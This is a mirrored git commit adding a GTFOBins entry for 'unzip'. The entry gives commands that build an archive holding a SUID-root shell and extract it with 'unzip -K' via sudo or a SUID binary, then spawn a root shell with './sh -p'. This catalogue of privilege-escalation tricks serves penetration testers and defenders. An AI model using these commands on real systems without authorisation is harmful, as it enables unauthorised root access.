mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add unzip
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
e9306c73da
commit
2b769ace78
21
_gtfobins/unzip.md
Normal file
21
_gtfobins/unzip.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
Certain `unzip` versions allows to preserve the SUID bit. Prepare an archive beforehand with the following commands as root:
|
||||||
|
|
||||||
|
```
|
||||||
|
cp /bin/sh .
|
||||||
|
chmod +s sh
|
||||||
|
zip shell.zip sh
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo unzip -K shell.zip
|
||||||
|
./sh -p
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
./unzip -K shell.zip
|
||||||
|
./sh -p
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user